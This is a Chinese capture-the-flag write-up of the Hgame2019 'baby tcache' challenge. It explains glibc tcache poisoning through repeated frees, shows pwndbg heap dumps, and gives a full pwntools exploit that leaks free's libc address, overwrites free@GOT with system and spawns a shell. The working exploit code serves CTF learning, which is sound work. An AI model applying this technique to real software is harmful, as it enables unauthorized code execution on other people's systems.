Hgame2019_baby tcache

22 篇文章 4 订阅
6 篇文章 1 订阅

简介

Tcache机制应该是从2.26之后版本的libc中才加进去的,而这个机制可能使我们的攻击变得更加简单,因为我们可能不需要去构造false_chunk,只需要覆盖tcache中的next,即将tcache中的next覆盖为我们自己的地址,从而达到任意地址写入;
简单地来讲,Tcache机制就是增加一个bin缓存,而且每个bin是单链表结构,单个tcache bin默认最多包含7个块;在释放chunk时,_int_free中在检查了size合法后,放入fastbin之前,它先尝试将其放入tcache;而在__libc_malloc,_int_malloc之前,如果tcache中存在满足申请需求大小的块,就从对应的tcache中返回chunk;
最关键的是,因为没有任何检查,所以我们可以对同一个chunk连续多次free,造成cycliced list(想一下double_free的操作,有点相像的感觉);
而这个babytcache这道题,就是主要利用这个思想;


Tcachebins

我们先看一下Tcachebins到底是什么样的,我们就以这道题来看,并且演示一下覆盖tcache中的next;
我们先申请1个chunks,即先添加一个note:

pwndbg> heap
0x603000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603250 FASTBIN {          #add_note
  mchunk_prev_size = 0, 
  mchunk_size = 97, 
  fd = 0x6161616161, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 134481, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

然后连续释放2次,即delete我们添加的note两次;
此时的tcachebins是这个样子:

pwndbg> bins
tcachebins
0x60 [  2]: 0x603260 ◂— 0x603260 /* '`2`' */
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

接下来的操作可以想一下double_free,我们先申请一个chunk,然后输入我们需要修改的地址空间(这里假设是0x603460,并且写入’/bin/sh’);
此时我们再看一下tcachebins:

pwndbg> bins
tcachebins
0x60 [  1]: 0x603260 —▸ 0x603460 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

我们看到0x603460似乎被我们添加到了tcache中的next,只需要我们在malloc两次就可以拿到0x603460地址空间了;
我们再次连续添加2个note看看;

pwndbg> x/4gx 0x603460
0x603460:	0x0068732f6e69622f	0x0000000000000000
0x603470:	0x0000000000000000	0x0000000000000000

0x603460的位置确实被我们修改了;
但是我们现在来看看tcachebins:

pwndbg> bins
tcachebins
0x60 [ -1]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

tcachebins确实为空了,但是我们发现tc_idx变成了-1;这就导致我们接下来不可以在使用tcachebins了,否则程序可能报错:

>2
index:3
free(): invalid pointer

这个就是我们需要注意的地方,所以要避免这个问题,我们最开始就一个free()三次,而不是两次;


思路

这道题的思路其实就是想办法泄露出system函数的地址,然后想办法改got表,最后getshell;
这道题有一个关键点是,程序将我们申请的chunk的地址放在了0x6020e0这个地址开始的位置,当我们show note的时候就是从这个地方读取指针,然后打印出内容;
所以我们利用cycliced list的思想将0x6020e0位置的指针改为free的got表的指针,然后就可以泄露free函数的在libc的地址,计算出system函数的地址;然后用同样的方法将free的got表覆盖为system函数的地址;最后调用free()函数就可以getshell了;


EXP

from pwn import *
p = process('./tcache')
elf = ELF('./tcache')
#context.log_level = 'debug'
#context.terminal = ['deepin-terminal', '-x', 'p' ,'-c']
if args.G:
    gdb.attach(p)
    
def add(s):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('content:')
    p.sendline(s)

def delete(i):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline('%d'%i)
    
def show(i):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline('%d'%i)

add('a'*8)
delete(0)
delete(0)
delete(0)
n = 1 # 1<=n<=3
add(p64(0x6020e0 + 0x8*n)) #这里至少偏移0x8是tc_idx的原因
add('/bin/sh')
add(p64(elf.got['free']))
show(n)

free_addr = (u64(p.recv(8)))%0x1000000000000
lib_addr = free_addr - 0x82ba0
system_addr = lib_addr + 0x42510
print "free_addr: " + hex(free_addr)
print "system_addr: " + hex(system_addr)

p.sendline('2')
p.recvuntil('index:')
p.sendline('0')
delete(0)
delete(0)
add(p64(elf.got['free']))
add('/bin/sh')
add(p64(system_addr))

delete(0)
p.interactive()    

总结

如果这道题有system(’/sh’)函数的,直接利用double_free就可以了,因为不在需要Tcache;
因为单个tcache bin默认最多包含7个块,所以在unlink操作时,可能首先得先把tcache填满;
利用tcache使我们对某些堆的利用变得更加简单了,不过在使用的过程中要想清楚它的分配情况,结合具体的程序分析,可能会有一些取巧的地方

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值